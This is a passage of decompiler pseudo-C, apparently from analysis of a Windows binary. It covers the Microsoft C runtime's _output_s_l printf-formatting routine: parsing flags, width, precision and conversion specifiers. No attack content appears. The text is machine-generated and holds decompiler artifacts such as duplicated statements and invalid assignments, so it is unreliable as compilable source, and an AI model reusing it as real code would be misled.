							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E004357B0(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E004357F0( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E004342C0(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E004357F0( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E004357B0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041C5D0( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M00435600))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E004312B0( *(_t623 - 0x251) & 0x000000ff, E0041AEE0(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00435710( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00435710( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041E410();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422F00(_t571))) = 0x16;
													E00422C90(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041AEB0(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x435638; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435620))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E004283F0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E004283F0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x435660; // 0x4e6e9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043564C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x4356cc; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00435690))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B950(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AEE0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xab8ad97d
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEE0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0x2b8ac62f
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AEE0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0x2b8ac616
																	E00424750(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DEB0( *(__ebp - 4));
															goto L190;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E004283F0(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E00428430(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E004342C0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													do {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													} while ( *(__ebp - 0x324) > 0x37);
													goto L72;
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													L108:
													__ecx = __ebp + 0x14;
													 *(__ebp - 0x298) = E004283F0(__ebp + 0x14);
													__eax = E00433FA0();
													__eflags = __eax;
													if(__eax != 0) {
														L118:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
														__eflags =  *(__ebp - 0x10) & 0x00000020;
														if(( *(__ebp - 0x10) & 0x00000020) == 0) {
															__edx =  *(__ebp - 0x298);
															__eax =  *(__ebp - 0x24c);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														} else {
															__eax =  *(__ebp - 0x298);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
													L109:
													__edx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x32c) = 0;
													} else {
														 *(__ebp - 0x32c) = 1;
													}
													__eax =  *(__ebp - 0x32c);
													 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E410();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) != 0) {
														L117:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													} else {
														L116:
														 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
														__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x2f8) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041AEB0(__ecx);
														__eax =  *(__ebp - 0x2f8);
														goto L229;
													}
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L89:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004283F0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L100:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L103:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L104:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L106:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L107;
													} else {
														L93:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L96:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L97:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L98:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L99:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L107:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E004283F0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004283F0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00428410(__ebp + 0x14);
